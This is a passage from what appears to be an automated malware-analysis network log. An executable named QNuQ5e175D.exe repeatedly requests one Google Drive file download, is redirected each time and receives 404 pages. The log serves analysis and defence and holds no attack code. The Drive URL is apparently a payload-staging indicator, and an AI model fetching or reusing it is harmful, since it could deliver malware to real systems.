2025-01-11 04:06:24 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:24 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-QsrgfbcAQ--n0aKOkQ8DbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.11	50000	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:24 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:25 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5UDBcF1tDJrVDDsMZggfVo91g2qIDiD5VLUqYOhse8fUefxqhSlzT4mn0K5YkM_GDo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:25 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-4JfukRkcZnKtvJf2QnTFbQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:25 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 32 37 4c 54 54 55 55 65 65 66 67 47 36 31 6c 51 30 70 66 50 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="k27LTTUUeefgG61lQ0pfPg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.11	50001	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:26 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:26 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:26 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-hBPTF6RUDwAnp3f5OeLibw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.11	50003	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:27 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:27 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgRdeUt8bdUq_4HxK-5PIFY0_M21CY6Ou0z4QK_BLnki3WbVCApnzLyop-9h3XYdbTsi2U7LIZ0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:27 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-BxtnlgEUqo9CQAdAi_9dJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:27 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 6e 4d 35 59 76 70 4b 42 48 54 62 50 78 65 6e 61 42 68 54 6b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="knM5YvpKBHTbPxenaBhTkA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.11	50004	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:28 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:28 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:28 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-ra6ekcHNUHz8AqYiwFzXVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.11	50005	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:29 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:29 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTsvZ5YG8_kx--AHuOva7NzYL1i08RPYiWIpef_iCTeDVhfOyBtB0GsA_2qf8PYEMKm Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:29 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-kHN33lFu72BShGpW51I3gA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:29 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 78 63 59 4b 37 4a 2d 4f 77 5f 4a 59 37 73 38 66 38 6c 5f 4c 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="IxcYK7J-Ow_JY7s8f8l_Lg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.11	50006	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:30 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:31 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:30 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-iIbLIyqDwvXHMy28tD_Abg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.11	50007	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:31 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:32 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4_zGRq38DJbxSjMEtoyzJ7nzRxVC8JPPIxpocg3HUVjrF9j_o21eD24yzMhQfBIQMQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:32 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-iRdevWkGAm8sdGXYbHy-_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:32 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 75 4a 55 72 5a 2d 66 62 4c 6a 6b 6e 5a 57 36 79 74 41 7a 41 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="zuJUrZ-fbLjknZW6ytAzAQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.11	50008	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:32 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
